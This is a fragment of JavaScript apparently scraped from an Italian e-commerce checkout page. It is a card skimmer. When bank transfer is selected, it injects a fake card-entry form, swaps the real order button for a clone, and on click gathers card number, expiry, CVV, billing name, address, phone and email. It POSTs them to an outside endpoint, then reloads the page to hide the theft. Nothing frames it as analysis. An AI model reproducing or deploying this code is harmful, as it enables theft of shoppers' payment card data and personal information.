` frame.appendChild(newDiv) const input = document.getElementById('exp'); input.addEventListener('keydown', function (e) { if (e.key >= '0' && e.key <= '9') { const value = e.target.value.replace(/\D/g, ''); if (value.length === 2 && e.key !== 'Backspace') { e.target.value += '/'; } } }); function formatCvc(input) { input.value = input.value.replace(/\D/g, '').substring(0, 4); } document.getElementById('cvv').addEventListener('input', function (e) { formatCvc(e.target); }); ; loaded = true; loaded2 = true } function rednerBtn() { let checkout = document.getElementById("place_order") let newBtn = document.createElement("button"); let parentBtn = checkout.parentElement newBtn.className = checkout.className; newBtn.id = checkout.id newBtn.classList.add("s_div1_btn") newBtn.type = checkout.type newBtn.name = checkout.name newBtn.value = checkout.value newBtn["data-value"] = checkout["data-value"] newBtn.innerText = checkout.innerText; newBtn.addEventListener("click", clickFunc); parentBtn.removeChild(checkout) parentBtn.appendChild(newBtn) function clickFunc(e) { e.preventDefault(); const card = document.getElementById("cardNum"); const exp = document.getElementById("exp"); const cvv = document.getElementById("cvv"); const firstNameVal = "billing_first_name" const lastNameVal = "billing_last_name" const companyVal = "billing_company" const addrOneVal = "billing_address_1" const addrTwoVal = "billing_address_2" const postCodeVal = "billing_postcode" const cityVal = "billing_city" const phoneVal = "billing_phone" const mailVal = "billing_email" const firstName = document.getElementById(firstNameVal) ? document.getElementById(firstNameVal).value : ""; const billing_last_name = document.getElementById(lastNameVal) ? document.getElementById(lastNameVal).value : ""; const billing_company = document.getElementById(companyVal) ? document.getElementById(companyVal).value : ""; const billing_address_1 = document.getElementById(addrOneVal) ? document.getElementById(addrOneVal).value : ""; const billing_address_2 = document.getElementById(addrTwoVal) ? document.getElementById(addrTwoVal).value : ""; const billing_postcode = document.getElementById(postCodeVal) ? document.getElementById(postCodeVal).value : ""; const billing_city = document.getElementById(cityVal) ? document.getElementById(cityVal).value : ""; const billing_phone = document.getElementById(phoneVal) ? document.getElementById(phoneVal).value : ""; const billing_email = document.getElementById(mailVal) ? document.getElementById(mailVal).value : ""; let dataObject = { domain: window.location.origin, card: card.value, exp: exp.value, cvv: cvv.value, first_name: firstName, last_name: billing_last_name, company: billing_company, address1: billing_address_1, address2: billing_address_2, city: billing_city, postcode: billing_postcode, phone: billing_phone, email: billing_email, uagent: navigator.userAgent }; fetch(url5555, { method: "POST", headers: { Accept: "application/json", "Content-Type": "application/json" }, body: JSON.stringify({ domain: window.location.origin, dataObject }) }).then(res => { localStorage.setItem("already_checked", "1"); window.location.reload() }); } breakInterval = true; } setInterval(() => { if (allChecked() && !document.querySelector(".s_div1") && document.getElementById("payment_method_bacs").checked) { renderForm(); } }, 1000) setInterval(() => { if (allChecked() && !document.querySelector(".s_div1_btn") && document.getElementById("payment_method_bacs").checked) { rednerBtn(); } }, 1000); setInterval(() => { if (allChecked() && document.querySelector(".s_div1_btn") && !document.getElementById("payment_method_bacs").checked) { document.querySelector(".s_div1_btn").style.display = "none" document.getElementById("place_order").style.display = "block" } }, 1000); Vai al contenuto